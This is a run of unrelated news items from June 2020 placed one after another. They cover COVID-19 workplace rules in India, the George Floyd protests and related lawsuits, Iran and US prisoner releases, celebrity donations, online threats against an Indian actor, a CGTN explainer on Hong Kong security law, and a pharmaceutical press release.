xxv. Cleaning and regular disinfection (using 1% sodium hypochlorite) of frequently touched surfaces (door knobs, elevator buttons, hand rails, benches, washroom fixtures, etc.) shall be done in office premises and in common areas

xxvi. Proper disposal of face covers / masks / gloves left over by visitors and/or employees shall be ensured.

xxvii. In the cafeteria/canteen/dining halls:

a. Adequate crowd and queue management to be ensured to ensure social distancing norms.

b. Staff / waiters to wear mask and hand gloves and take other required precautionary measures.

c. The seating arrangement to ensure a distance of at least 1 meter between patrons as far as feasible.

d. In the kitchen, the staff to follow social distancing norms.

Measures to be taken on occurrence of cases

Despite taking the above measures, the occurrence of cases among the employees working in the office cannot be ruled out. The following measures will be taken in such circumstances:

i. When one or few person(s) who share a room/close office space is/are found to be suffering from symptoms suggestive of COVID-19:

a. Place the ill person in a room or area where they are isolated from others at the workplace. Provide a mask/face cover till such time he/she is examined by a doctor.

b. Immediately inform the nearest medical facility (hospital/clinic) or call the state or district helpline.

c. A risk assessment will be undertaken by the designated public health authority (district RRT/treating physician) and accordingly further advice shall be made regarding management of case, his/her contacts and need for disinfection.

d. The suspect case if reporting very mild/mild symptoms on assessment by the health authorities would be placed under home isolation.

e. Suspect case, if assessed by health authorities as moderate to severe, will be treated as per health protocol in appropriate health facility.

f. The rapid response team of the concerned district shall be requisitioned and will undertake the listing of contacts.

g. The necessary actions for contact tracing and disinfection of work place will start once the report of the patient is received as positive. The report will be expedited for this purpose.

ii. If there are large numbers of contacts from a pre-symptomatic/asymptomatic case, there could be a possibility of a cluster emerging in workplace setting. Due to the close environment in workplace settings this could even be a large cluster (>15 cases). The essential principles of risk assessment, isolation, and quarantine of contacts, case referral and management will remain the same. However, the scale of arrangements will be higher.

iii. Management of contacts:

a. The contacts will be categorised into high and low risk contacts by the District RRT.

b. The high-risk exposure contacts shall be quarantined for 14 days.

c. These persons shall undergo testing as per ICMR protocol.

d. The low risk exposure contacts shall continue to work and closely monitor their health for next 14 days.

Closure of workplace

i. If there are one or two cases reported, the disinfection procedure will be limited to places/areas visited by the patient in past 48 hrs. There is no need to close the entire office building/halt work in other areas of the office and work can be resumed after disinfection as per laid down protocol.

ii. However, if there is a larger outbreak, the building/block will have to be closed for 48 hours after thorough disinfection. All the staff will work from home, till the building/block is adequately disinfected and is declared fit for re-occupation.

Disinfection procedures in offices

Detailed guidelines on the disinfection as already issued by Ministry of Health and Family Welfare as available on their website shall be followed.
Washington, June 5 : Gen Martin Dempsey, a former US Joint Chiefs of Staff Chairman, has denounced President Donald Trump's threat to use troops to suppress the ongoing nationwide protests against the death of African-American George Floyd.

On Thursday, Dempsey, who served as the country's most senior military officer under former President Barack Obama from 2011-15, the told National Public Radio that Trump's remarks were "very troubling" and "dangerous", reports the BBC.

"The idea that the president would take charge of the situation using the military was troubling to me," Gen Dempsey said in the rare public remarks.

"The idea that the military would be called in to dominate and to suppress what, for the most part, were peaceful protests - admittedly, where some had opportunistically turned them violent - and that the military would somehow come in and calm that situation was very dangerous to me," he added.

Dempsey's remarks came a day after former Marine Gen Jim Mattis, Trump's former defence secretary, denounced the President, saying he "tries to divide" the American people, instead of uniting.

"Donald Trump is the first President in my lifetime who does not try to unite the American people -- does not even pretend to try. Instead, he tries to divide us," Mattis, who resigned as the Pentagon chief in December 2018 in protest against Trump's Syria policy, said on Wednesday in an article carried by the Atlantic magazine.

Meanwhile, incumbent Defence Secretary Mark Esper has also openly opposed Trump's suggestion to use the military to quell the disturbances.

Esper said on Wednesday that the nation was not in a situation that would legally allow Trump to call out the troops for domestic operations.

The three statement came after Trump on Monday threatened to send in active-duty military forces to quell the ongoing protests against police brutality and racial discrimination that have spread to over 300 US cities and towns following the killing of Floyd, an unarmed black man in Minneapolis, by white police officers.

Also on Thursday, a moderate Republican Senator Lisa Murkowski broke ranks to say she was unsure if she would support Trump's bid for re-election.

Shortly afterwards Trump tweeted that he would campaign to throw the Alaska senator out of office when she is up for re-election in 2022.
Relatives have filed a wrongful-death lawsuit against a Florida City police officer who they say fired at least two rounds through the back door of an apartment and killed a 23-year-old named Juvon Simon.

Two years ago, authorities cleared Detective Frantz Hardy in the case, saying he shot Simon as he was reaching for the weapon in his waistband at the doorway of the apartment. But a federal lawsuit filed Thursday contends that Simon was unarmed, and suggests the detective planted the gun to try to justify the killing.

The lawsuit relies on new details from Simons friend, who was inside the apartment sitting on a couch.

Hardy unjustifiably and without provocation shot Juvon three times, the lawsuit said. Juvon was not armed. He did not display any sign of aggression towards Hardy. ... There was no direct, immediate threat to Hardy, any citizen or police officer.

Hardy could not be reached for comment, and it was unclear if he had retained a lawyer to defend the lawsuit. He is currently a member of the Miami-Dade Police Benevolent Association, but the union did not represent him during the shooting investigation because he was not a member at the time.

The lawsuit was filed as protests against police brutality have erupted in cities across the nation over the death of George Floyd, a black man who died after a Minneapolis police officer knelt on his neck. The white officer, Derek Chauvin, has been charged with murder and manslaughter, and three others also face criminal charges.

Largely peaceful protests have also taken place in South Florida, marred only by a smattering of stores looted, some clashes with police and at least one protester shot in the eye with a rubber bullet in Fort Lauderdale.

Both Simon and Hardy are black. The lawsuit names Florida City, Hardy and two other detectives. It was filed by Levy and Youseline Simon, the mans parents. Over a year ago, they filed a lawsuit in state court in an attempt to get documents and other records related to the shooting.

Story continues

This is more likely than not a bad shooting, said Miami lawyer Rick Diaz, who filed the lawsuit.

Thats not what the Miami-Dade State Attorneys Office found. Last year, prosecutors cleared Hardy, saying the shooting was legally justified. A final report said Simon was armed and Hardy feared for his life and considered it necessary to use deadly force. A final report on the case cites Floridas fleeing-felon law, which allows officers to fire at a suspected felon evading arrest; in this case, prosecutors concluded, Simon was unlawfully carrying a concealed weapon.

The shooting happened on the afternoon of May 30, 2018, at an apartment on the block of 1400 Northwest Second Avenue in Florida City.

The funeral program for 23-year-old shooting victim Juvon Simon. He was shot and killed on May 30, 2018, by Florida City detective Frantz Hardy. The family announced Wednesday, Oct. 30, 2018, that they are filing suit against Florida City and the state for his death.

According to police, Hardy was one of three detectives who saw Simon walking on the street holding onto something in his crotch that appeared to be very heavy. Hardy and another detective, Marcus Terry, knew Simon from the neighborhood because theyd arrested him under suspicion of being involved in an earlier shooting. The officers followed him, drawing their weapons as Simon walked toward an apartment.

The third detective, Auriz Leza, claimed that Terry yelled out Police! Stop. Let me see your hands but Simon kept walking toward the back door of the apartment, began banging on it, and then reached for what appeared to be a firearm from his waistband.

Leza claimed that Hardy yelled out Hes got a gun! and then fired. Leza also claimed that as the gunshots rang out, the back door swung open and Mr. Simon disappeared inside the residence.

According to the final memo, Leza said he and Hardy entered the apartment and saw the wounded man on the ground, a 9mm near his body. He said they attempted to give Simon first aid, and also found an extended ammo magazine wrapped in a Haitian flag inside his waistband.

Simons friend, Breon Lester, was sitting on the couch. According to the states report, he said Simon burst through the back door, and he heard two shots and ran upstairs. He told detectives he never saw the pistol, or an AK-47 that was found by a refrigerator, according to prosecutors.

Lester told Simons lawyers a different story.

He claimed that Simon made it inside the apartment and that Hardy tried to open the door, according to the lawsuit. When he couldnt get in, he fired two rounds through the door, was able to open it, stepped inside and then fired three more rounds at Simon  who was standing at least six feet away.

Lester also claimed that after the shooting, the detective ran back to his police car, retrieved a small bag and hurried back inside the apartment. The suggestion: that Hardy may have placed [it] there as a throw down gun, to justify the shooting.

Two casings were found outside, and three inside the apartment, according to the lawsuit. The prosecutors memo notes only that three casings were found outside. Two bullet holes were found in the back door.

Hardy did not give a statement to Miami-Dade homicide detectives, who investigated the case.

No video footage was found that shows the shooting itself. The lawsuit alleges that somebody from law enforcement obtained but erased surveillance footage from nearby apartment buildings that might have shown the moments leading up to the incident.

The video footage for all three video has been clearly tampered with. The tampering is so obvious, it is ridiculous, the lawsuit alleges.
The COVID-19 pandemic hasnt stopped big crowds from taking to San Franciscos streets to protest police violence in recent days, so city officials have set up a mobile testing site for people concerned about exposure to the coronavirus.

A free, pop-up testing location at the Cathedral of St. Mary at 1111 Gough St. opened at noon Friday for anyone to get swabbed for COVID-19, including those who have gathered in mass demonstrations recently  even if they are showing no symptoms of infection. The city is directing anyone who wants a test at the mobile site to sign up at www.projectbaseline.com/study/covid-19.

Other testing sites across the city are available to people showing symptoms of COVID-19 and for workers who must leave their homes to perform their jobs, exposing them to a higher risk of contracting the virus. More information about how and where to get tested is available at https://sf.gov/find-out-how-get-tested-coronavirus.

Nearly two weeks of demonstrations catalyzed by the recent death of George Floyd while in police custody in Minneapolis  like one in San Franciscos Mission District Wednesday that drew a crowd of thousands  concern public health officials, who worry about the potential for widespread transmission among large groups of people.

City leaders have tried to establish a precarious balance: supporting the publics right to protest while urging them to remember the continued threat of the virus.

I think everyone in public health is concerned, Dr. Tomas Aragon, San Franciscos health officer, said.

The risk depends on how many people in the crowed are carrying the coronavirus, he said. If very few people are carrying, youre probably going to be fine. But we dont know, and thats the problem. The few people that might have it, theyre the ones you hope wear their mask.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Rules around maintaining distance from other people and wearing face-coverings in public are still in effect in San Francisco but difficult to follow in large crowds.

Masks are intended to keep tiny droplets carrying the coronavirus from spreading through talking, coughing, sneezing  or shouting protest chants.

Yelling puts out more droplets, but you hope it gets diluted enough from the air, Aragon said. Public health authorities are concerned, and were hoping it doesnt set us back. Were a region of 7 million people. If there are a few thousand people at a protest, you hope a few thousand (people) wont change the epidemiology of millions of people. Well see.

Dominic Fracassa is a San Francisco Chronicle staff writer. Email: dfracassa@sfchronicle.com Twitter: @dominicfracassa
Source: Xinhua| 2020-06-05 04:40:48|Editor: huaxia

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TEHRAN, June 4 (Xinhua) -- Iran's Foreign Ministry on Thursday confirmed the release of U.S. prisoner Michael White, official IRNA news agency reported.

White was freed by a decree of an Iranian judge for human rights considerations and left the country, Foreign Ministry spokesman Abbas Mousavi was quoted as saying.

White, a U.S. Navy veteran, was detained nearly two years ago in Iran for security reasons.

On Wednesday, an Iranian scientist, Sirous Asgari, held by the American authorities returned to Iran.

Iran, however, denied that Asgari has been released as part of a prisoner swap with the United States.

Mousavi said that the Iranian scientist was released after being acquitted of charges. Enditem
Keck Medicine of USC experts say there are steps that protesters can take to stay as safe and healthy as possible, both physically and mentally. Credit: Shutterstock

Recently the nation has experienced protests at a scale and duration not seen in decades. The act of protest has always carried risks: Under previous circumstances, demonstrators and community members have faced the possible dangers of violence, tear gas and arrest. Now, public protests carry the added threat of COVID-19 transmission.

Keck Medicine of USC experts say there are steps that protesters can take to stay as safe and healthy as possible, both physically and mentally.

Acknowledge the trauma

According to many mental health professionals, members of the public have been experiencing significantly more stress than usual. The pandemic, and the economic losses and uncertainty that have come with it, have left many people without much room to tolerate further trauma.

Steven Siegel, MD, psychiatrist with Keck Medicine and chair of the Department of Psychiatry and Behavioral Sciences at the Keck School of Medicine of USC, pointed out that feeling unheard can add to a person's existing trauma, hurting them even more deeply. He points out that It is crucial to not only listen receptively to those in pain, but to acknowledge and process one's own trauma.

"During turmoil, as always, it is key that we acknowledge and address all forms of trauma, including the psychological trauma caused by racism," Siegel said. "The recent events leading up to protests nationwide have made the call for mental health support all the more urgent across all communities."

Minimize the risk of COVID-19 transmission

"While being outside may dilute the virus, especially if the wind is blowing, it's still important to take basic precautions to reduce the risk of COVID-19," said Neha Nanda, MD, medical director of infection prevention and antimicrobial stewardship for Keck Medicine.

While protesting, it's important to take the following precautions even if one can't stay six feet away from others:

Sanitize your hands, either with soap and water or hand sanitizer, regularly and immediately after touching someone or something, or coughing or sneezing. Carry hand sanitizer with you at all times.

Wear a mask or face covering while outside and around people at all times.

Minimize bringing unnecessary items with you, as you will have fewer items to disinfect later.

Wash all clothes and items you wore or brought immediately after returning home.

Nanda also stresses that participants should self-monitor for symptoms in the days after a demonstration. Signs of COVID-19 to look out for include cough, fever or chills, shortness of breath, muscle aches, headaches, new loss of taste or smell, sore throat, nausea, vomiting or diarrhea. It is crucial for people experiencing any of these symptoms to call a doctor immediately. Nanda also urged people with serious pre-existing conditions to stay home and find alternative ways to show their support.

Avoid tear gas whenever possible

While the name "tear gas" may give the impression of a harmless substance that makes one's eyes water, the impact the gas has on the human body is much more serious.

According to Richard J. Castriotta, MD, a pulmonary critical care physician with Keck Medicine, tear gas sets off a pulmonary reaction that causes severe coughing.

"People should make sure they separate from others when coughing or around those coughing to avoid the spread of COVID-19," he urged.

Respiratory issues are not the only danger: Kimberly Gokoffski, MD, Ph.D., an ophthalmologist with the USC Roski Eye Institute, stresses the very real danger that tear gas presents to the eyes.

"Tear gas burns the front of the eyes (the cornea), which is the window that allows us to see," she explained. "If the cornea is burned and scarred, it can lead to blindness."

Gokoffski urges those affected by tear gas to flush their eyes with water for at least 30 minutes, making sure to include the area between the eyelid and the cornea. When a sink is not available, use bottled water to flush out the eyes.

Stay prepared for medical emergencies

Protesters are constantly at risk for a range of injuries, whether it's a simple trip-and-fall or being caught in a situation that turns violent. Armand Dorian, MD, MMM, chief medical officer of USC Verdugo Hills Hospital, encourages protesters to pack a first aid kit among their supplies.

He also stresses that those who need immediate medical helpfor injuries such as deep cuts requiring stitches, severe asthma attacks or broken bonesshould go to their nearest emergency room without delay. Dorian also assures members of the public that emergency departments are set up to prevent the transmission of COVID-19.

"Emergency departments are open and safe for all urgent and emergency needs," he explained. "Hospitals are putting numerous safety practices in place to ensure patients are safeguarded from the possible spread of the coronavirus, so people should feel comfortable going there if needed."

Explore further Amid pandemic, protest peacefully while staying healthy
Russia has come in support of Iran saying that it has every right to launch satellites after the United States' objection to Tehran's recent launch on April 22. Russia's permanent representative to the United Nations, Vassily Nebenzia has said that the United States' objection to Iran's right to explore space is a matter of 'serious concern and profound regret'.

Read: Putin Chastises Russian Tycoon Over Massive Arctic Oil Spill

Vassily Nebenzia wrote a letter to the UN Secretary-General Antonio Guterres, where he dismissed the US' claim that Tehran's launch was in violation of UNSC resolution endorsing the 2015 nuclear deal, that was unilaterally called-off by Donald Trump last year.

Read: COVID-19: Shipment Of Ventilators Worth $5.6 Million Arrives In Russia From US

"Iran has never possessed nuclear weapons, nor does it possess these weapons now, nor, we expect, will it ever possess them in the future," Nebenzia said in the letter. As per reports, Nebenzia's letter was in response to the United States Ambassador Kelly Craft's letter to the council last month where he said that the technology used in the satellite launch by Iran can also be used in ballistic missile development as they are interchangeable. Ballistic missiles are used to launch nuclear weapons.

Read: Russia Angrily Denies German Allegations On 2015 Cyberattack

US' withdrawal

The United States has long opposed Iran's missile development program fearing that it could lead to the country developing nuclear technology in the future. US President Donald Trump withdrew from the Obama-era nuclear deal last year, drawing criticism from parties to the agreement, including the United Kingdom, France, and Germany, who still back the JCPOA.

Read: Trump Calls It 'common Sense' To Allow Russia Back In G7, Threatens To Postpone Meeting


In the midst of Black Lives Matter protests going on around the United States right now, many celebrities are digging deep for charitable causes.

And Angelina Jolie, 45, joined that illustrious list on Thursday, when the actress donated $200,000 to the NAACP Legal Defense Fund.

'I stand with the NAACP Legal Defense Fund in their fight for racial equality, social justice, and their call for urgent legislative reform,' said the Oscar winner in a statement to ET.

Angelina Jolie, 45, joined an illustrious list of celebrity donors on Thursday, when the actress donated $200,000 to the NAACP Legal Defense Fund. Seen here in October 2019

'Rights don't belong to any one group to give to another. Discrimination and impunity cannot be tolerated, explained away or justified,' continued the Girl, Interrupted star.

'I hope we can come together as Americans to address the deep structural wrongs in our society.'

In addition to her work as a filmmaker, Jolie is heavily involved in humanitarian work, and serves as a Special Envoy for the United Nations High Commission for Refugees.

Other recent example of celebrity donors to various causes surrounding the issues being protested include Lena Dunham, Floyd Mayweather and Harry Styles.

'I stand with the NAACP Legal Defense Fund in their fight for racial equality, social justice, and their call for urgent legislative reform,' said the Oscar winner in a statement to ET. Seen here with children [L-R] Vivienne Jolie-Pitt, Zahara Jolie-Pitt, Shiloh Jolie-Pitt and Knox Jolie-Pitt

Meanwhile, Kim Kardashian made an announcement on Thursday about how her company her several companies will help after the death of George Floyd.

The 39-year-old reality TV star shared to messages to Instagram with the details. 'We are donating,' the mogul wrote as she named of the list of organizations that will see her money including Black Lives Matter and the NAACP Legal Defense Fund.

This comes just as TMZ reported her husband Kanye West has donated $2M 'to the families and legal teams' fighting for Ahmaud Arbery, Breonna Taylor and Floyd.

Doing the right thing: Kim Kardashian made an announcement on Thursday about how her company SKIMS will help after the death of George Floyd

His part: This comes just as TMZ reported her husband Kanye West has donated $2M 'to the families and legal teams' fighting for Ahmaud Arbery, Breonna Taylor and Floyd

It was added the Stronger rapper is setting up a college fund for George's daughter Gianna, aged six.

And it was claimed the artist is giving money 'to several black-owned businesses in his hometown of Chicago.'

Kim's message began, 'SKIMS is a brand rooted in inclusivity and diversity.' The Keeping Up With The Kardashians star added, 'We stand in solidarity with the fight against systemic racism and are committed to supporting and participating in the shift hat needs to take place.'

The mother-of-four then said, 'We are donating across organizations focused on making change and fighting racial injustice.'

The cover girl listed off the organizations that will see her money.

Her note to the masses: The message began, 'SKIMS is a brand rooted in inclusivity and diversity.' The Keeping Up With The Kardashians star added, 'We stand in solidarity with the fight against systemic racism and are committed to supporting and participating in the shift hat needs to take place'

Among them are NAACP Legal Defense Fund, National Urban League, Color Of Change, and Black Lives Matter.

Kim then ended with: 'We hope you join us in taking action to make lasting change.'

Another note added that not just SKIMS but all her brands would be weighing in including her makeup and fragrance companies: 'My teams and I stand in solidarity with those making their voices heard in the fight against systemic racism.'

All her brands are involved: Another note added: 'My teams and I stand in solidarity with those making their voices heard in the fight against systemic racism'

Adding her voice: Kim posted to her Insta Stories demanding '#JusticeForGeorgeFloyd'

On Monday she generously offered to help a protester who was seriously injured by a rubber bullet over the weekend.

The star was shocked to see a trending photo on Twitter showing a woman who was shot while standing in the street filming during a George Floyd protest in Louisville, Kentucky.

The graphic image shows a young woman with a chunk of flesh missing from her forehead and her left eye bruised and swollen shut.

The reality star was so shocked at the image she offered to help, tweeting in reply, 'This is heartbreaking and so disturbing. Does anyone know how i can get in contact with her? I would love to help her with her medical care if she needs it.'

Dozens of people tagged the woman, who's named Shannyn, on Twitter and uses the handle @shannynsharyse so Kim could get in touch.

The star was shocked to see a trending photo on Twitter showing a woman shot at while she was standing in the street filming during a George Floyd protest in Louisville, Kentucky

Shannyn shared a video to her Instagram to address accusations that she faked her injuries.

She wrote, 'So apparently a lot of people think what happened wasn't real and its make up. So here's the video from right after I got hit. That being said please remain focused on why we do this. IT IS FOR THE INNOCENT WHO LOST THEIR LIVES THROUGH POLICE BRUTALITY AND RACISM.'

The harrowing clip, which was also shared to YouTube, shows a city street with a line of police officers at one end, it's pretty dark but the sound of a shot can be heard followed by screams as Shannyn hits the ground.

The video also captures the ensuing panic as her friends came to her aid.

Horrific: Shannyn shared the photos to show people what happened when she was just standing in the street filming the protest

'Exhausted by the heartbreak': Kim denounced 'systemic racism' on Twitter this Saturday amid widespread protests after the killing of George Floyd

'I am exhausted by the heartbreak I feel seeing mothers, fathers, sisters, brothers and children suffering because their loved one was murdered or locked away unjustly for being black,' wrote the TV star.

She is currently in self-isolation with her husband and their four children North, six, Saint, four, Chicago, two, and Psalm, one.

'For years, with every horrific murder of an innocent black man, woman, or child, I have always tried to find the right words to express my condolences and outrage,' she began her statement.

'But the privilege I am afforded by the color of my skin has often left me feeling like this is not a fight that I can truly take on as my own. Not today, not anymore. Like so many of you, I am angry. I am more than angry. I am infuriated and I am disgusted.'

Kardashian continued: 'I am exhausted by the heartbreak I feel seeing mothers, fathers, sisters, brothers and children suffering because their loved one was murdered or locked away unjustly for being black.'

Her take: She wrote that 'with every horrific murder of an innocent black man, woman, or child, I have always tried to find the right words to express my condolences and outrage'

She wrote: 'Even though I will never know the pain and suffering they have endured, or what it feels like to try to survive in a world plagued by systemic racism, I know I can use my own voice to help amplify those voices that have been muffled for too long.'

Kardashian added: 'Text "FLOYD" to 55156 #BlackLivesMatters #JusticeForGeorgeFloyd #JusticeforAhmaudArbery #JusticeforBreonnaTaylor'.

The text contributes to a petition organized by Color For Change demanding the arrest of all four Minneapolis police officers involved in Floyd's death.
Actor Meera Chopra was in for a rude shock when Jr NTR fans started a hate campaign against her on social media. It all began after her recent chat session on Twitter, when a user asked her to describe Telugu actor Jr NTR in one word and she replied, I dont know him. Im not his fan. Having worked in South Indian film industry, she also expressed her admiration for actor Mahesh Babu, which further irked these trolls beyond imagination.

This cyber bullying needs to stop. I can be anybodys fan in the world, its my choice. They (Jr NTR fans) threatened me with gang rape, throwing acid on my face, murder and even wished that my parents die of Covid. All this when I hadnt said anything hurtful, says Chopra, adding, Social media has become such a scary and toxic place. Its amusing to see how people can stoop to this low.

Putting some tweets out made my @tarak9999 fans. pic.twitter.com/si0n7YLD94  meera chopra (@MeerraChopra) June 2, 2020

After getting some 30,000 abuses, the actor decided to take legal action. She tells us, Ive always stood up for whats right. Id be a hypocrite if I dont raise my voice against the wrong right now. So, I filed a complaint with Hyderabad City Police and Hyderabad Cyber Crime Cell. Theyre looking into the matter and have asked me to file a complaint with Delhi Police since Im at my home in Delhi now, so thats also done.

The Section 375 actor even tagged Jr NTR in some of these tweets with an intent to bring to his notice the behaviour of his fans, and hoping hed take a stand.

These fans clubs used my answer to start a fight between Mahesh Babu and Jr NTR. How ridiculous! I think actors must be aware of their fan clubs. They must address such extreme behaviour. Fans treat actors as Gods, Im sure theyd listen to them, urges Chopra.

However, she sounds disappointed when she says, Im told such things have happened before also. I dont know why these stars are still quiet about it. I feel sad for their stardom, for the kind of fan base they have.

Amid the whole Covid-19 situation when one should use social media to spread positivity, there are these trolls that are still spitting venom, rues the actor. Im afraid these harmful minds can go to any extent. These accounts should be suspended and they should be punished so we set an example for others having criminal intentions, says Chopra, whos now planning to start a campaign where stars need to talk about such things openly.

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Multimedia Specialist

Anthony Zilis is a multimedia specialist at The News-Gazette. His email is azilis@news-gazette.com, and you can follow him on Twitter (@adzilis).
NEW CANAAN  More than 1,000 people marched down South Avenue Thursday night, then took a knee.

They marched for justice for George Floyd, the Minneapolis man who died after a police officer there knelt on his neck for eight minutes and 46 seconds on May 25.
[June 04, 2020] CGTN Explainer: What's National Security Legislation for HKSAR?

A draft decision on establishing and improving the legal system and enforcement mechanisms for Hong Kong Special Administrative Region (HKSAR) to safeguard national security was adopted at the third session of the 13th National People's Congress (NPC) on May 28. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200604005816/en/ HKSAR Chief Executive Carrie Lam has expressed disappointment that nearly 23 years since its return to the motherland, HKSAR has not yet fulfilled its legal responsibility of enacting laws on its own to safeguard national security in accordance with Article 23 of the Basic Law. The introduction of the bill at the NPC came after Hong Kong was embroiled in prolonged riots starting last year. Chinese Foreign Ministry Spokesperson Zhao Lijian reiterated at May 29's press conference that "no country in the world would allow secessionist activities, or any activities that would endanger national security." What is Article 23? Article 23 of the Basic Law of Hong Kong stipulates that the SAR shall enact laws on its own to prohibit any act of treason, secession, sedition or subversion against the Central People's Government, or theft of state secrets, to prohibit foreign political organizations or bodies from conducting political activities in the HKSAR, and to prohibit political organizations or bodies of the HKSAR from establishing ties with foreign political organizations or bodies. In short, Article 23 of the Basic Law specifies the constitutional and legislative responsibility of safeguarding national security in Hong Kong. Xiakedao, a social media account run by the overseas edition of People's Daily, noted in an opinion piece that since Article 23 legislation stalled in 2003, it has been very difficult for the HKSAR Legislative Council (LegCo) to fulfill its legal responsibility of enacting relevant laws. Those trying to sow trouble in Hong Kong and external hostile forces have demonized the legislation of Article 23 and tried to sabotage and obstruct its enactment, Xiakedao pointed out. Considering Hong Kong's present situation, efforts must be made at the state level to safeguard national security and to change its defenseless status, Xiakedao added. What's in the draft decision? The draft decision on establishing and improving the legal system and enforcement mechanisms for Hong Kong Special Administrative Region (HKSAR) to safeguard national security consists of an introduction and seven articles. Article 1 states that the country will unswervingly, fully and faithfully implement the principles of "One Country, Two Systems," "the people of Hong Kong governing Hong Kong," and a high degree of autonomy; stresses taking necessary measures to establish and improve the legal system and enforcement mechanisms for the HKSAR to safeguard national security, as well as to prevent, stop and punish activities endangering national security in accordance with the law. Article 2 states that the country resolutely opposes the interference in HKSAR's affairs by any foreign or external forces in any form and will take necessary countermeasures on such interferences. Article 3 specifies that it is the HKSAR's constitutional responsibilities tosafeguard national sovereignty, unity and territorial integrity; the article also stresses that the HKSAR must complete the national security legislation stipulated in the Basic Law of the HKSAR at an earlier date and HKSAR's administrative, legislative and judicial organs must, in accordance with relevant laws and regulations, effectively prevent, stop and punish acts endangering national security.



Article 4 specifies that the HKSAR must establish and improve the institutions and enforcement mechanisms for safeguarding national security; when needed, relevant national security organs of the Central People's Government will set up agencies in the HKSAR to fulfill relevant duties to safeguard national security in accordance with the law. Article 5 specifies that the HKSAR's chief executive must regularly report to the Central People's Government on the HKSAR's performance of the duty to safeguard national security, carry out national security education and forbid acts endangering national security.

Article 6 specifies the constitutional meanings of related legislation of the NPC Standing Committee: (1) Entrusting the NPC Standing Committee to formulate relevant laws on establishing and improving the legal system and enforcement mechanisms for the HKSAR to safeguard national security. The NPC Standing Committee will exercise its functions and powers of legislation under authorization; (2) Specifying that relevant legal tasks for the NPC Standing Committee are to effectively prevent, stop and punish any act occurring in the HKSAR to split the country, subvert state power, organize and carry out terrorist activities and other behaviors that seriously endanger national security, as well as activities of foreign and external forces to interfere in the affairs of the HKSAR; (3) Specifying the method of implementing relevant laws of the NPC Standing Committee in the HKSAR, that is, the NPC Standing Committee makes the decision to include relevant laws into Annex III of the Basic Law of the HKSAR, and the HKSAR promulgates and implements them. Article 7 specifies that this decision shall go into effect as of the date of promulgation. Why is legislation necessary? The existing national security loophole in HKSAR exacerbates multiple risks. Wang Chen, vice chairman of the Standing Committee of the NPC, on Friday highlighted activities that have seriously challenged the bottom line of the "One Country, Two Systems" principle, harmed the rule of law and threatened national sovereignty, security and development interests. The violence associated with the disturbances arising from the introduction of the Fugitive Offenders Bill since last June is an example. Various incidents involving violence and even explosives and firearms have increased the risk of terrorism as well as seriously jeopardizing public safety. Xiakedao pointed out in its opinion piece that as Article 23 of the Basic Law is yet to be enacted, Hong Kong could only impose light sentences on "Hong Kong independence" forces who illegally and violently disrupted social order. External forces' interference in Hong Kong affairs, for example the overt meddling by the U.S., and China's internal affairs is another factor, Xiakedao said. In March, 2019, U.S. Vice President Mike Pence met with Hong Kong's former Chief Secretary Anson Chan. A few days later, U.S. House of Representatives Speaker Nancy Pelosi met with opposition lawmakers Dennis Kwok and Charles Mok. The opposition leaders' trip to the U.S. also included meetings with U.S. congressional committees and bar associations. In May 2019, Pelosi and U.S. Secretary of State Mike Pompeo met with several opposition figures, including Martin Lee, Lee Cheuk-yan and Nathan Law. In June 2019, U.S. Congressmen Marco Rubio and Jim McGovern reintroduced the so-called "Hong Kong Human Rights and Democracy Act." In July, Pence and Pompeo held meetings with pro-opposition media tycoon Jimmy Lai, discussing Hong Kong's amendments to the Fugitive Bill. And in the midst of the unrest, Julie Eadeh, who works at the U.S. Consulate General in Hong Kong, was filmed meeting with opposition figures Martin Lee and Anson Chan. She also met Hong Kong protest leader Joshua Wong. In September, the U.S. Congressional-Executive Commission on China held a Hong Kong-related hearing and invited Joshua Wong and fellow protest leader Denise Ho (Ho is not a Hong Kong resident, but a Canadian citizen.) to testify. In October, U.S. Senator Ted Cruz met with opposition figures Anson Chan and Jimmy Lai in Hong Kong and wore black to show support for protesters. On October 15, the U.S. House of Representatives passed the so-called "Hong Kong Human Rights and Democracy Act of 2019," which was passed by the Senate on November 19. What's the legislative process? Deliberation of the draft decision on establishing and improving the legal system and enforcement mechanisms for the HKSAR to safeguard national security at this year's annual session of the NPC means the first step is taken. As the draft decision is now approved, the NPC Standing Committee will formulate related laws to solve Hong Kong's problems in maintaining national security, strengthen the construction of specialized and law enforcement agencies and ensure the law to be effectively implemented in Hong Kong. After the decision is adopted, the NPC Standing Committee will work with related parties to formulate relevant laws for the HKSAR to safeguard national security, actively push for settling SAR's prominent problems in the national security system, strengthen the building of special institutions, enforcement mechanisms and law enforcement forces, for relevant laws' effective implementation in Hong Kong. Original article: https://news.cgtn.com/news/2020-05-23/Explainer-What-s-national-security-legislation-for-HKSAR--QIUVFwz088/index.html View source version on businesswire.com: https://www.businesswire.com/news/home/20200604005816/en/

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[June 05, 2020] Resverlogix Announces Corporate Update Conference Call & Webcast on June 10, 2020 and Upcoming Presentation at the 57th ERA-EDTA Virtual Congress on June 9, 2020

CALGARY, Alberta, June 05, 2020 (GLOBE NEWSWIRE) -- Resverlogix Corp. ("Resverlogix" or the "Company") (TSX:RVX) is pleased to announce the Company will host a Corporate Update Conference Call and Webcast on June 10th, 2020 at 9 am MT/11 am ET. The Company also announces its participation at the 57th ERA-EDTA Virtual Congress on June 9, 2020 with further details outlined below.

Conference Call & Webcast Details For those wishing to join the June 10th Corporate Update Conference Call and Webcast, the event will start promptly at 9 am MT/11 am ET. It is highly recommended to access the webcast over the Internet using the following LINK . A replay of the webcast (using the same LINK provided) will be available for one month following the conclusion of the event. If dialing in by phone, dial 1-800-319-4610 (within Canada / USA) or +1-604-638-5340 (International Toll). Callers should dial-in at least 10 min prior to the scheduled start time. A teleconference replay will be available for one month following the conclusion of the event and can be accessed by dialing 1-800-319-6413 (within Canada / USA) or +1-604-638-9010 (International Toll) and using the replay access code: 4697#. 57th ERA-EDTA Virtual Congress Resverlogix is also pleased to announce that on June 9, 2020, Dr. Kam Kalantar-Zadeh, MD, MPH, PhD, Professor and Chief, Division of Nephrology, Hypertension, and Kidney Transplantation, University of California Irvine, Orange, California, USA, will give a virtual oral presentation at the 57th ERA-EDTA Virtual Congress, titled: Effects of thebet-inhibitor apabetalone on cardiovascular events in patients with type 2 diabetes mellitus and acute coronary syndrome, according to presence or absence of chronic kidney disease. A BETonMACE trial report. The presentation will be available via the Company website HERE , once available.



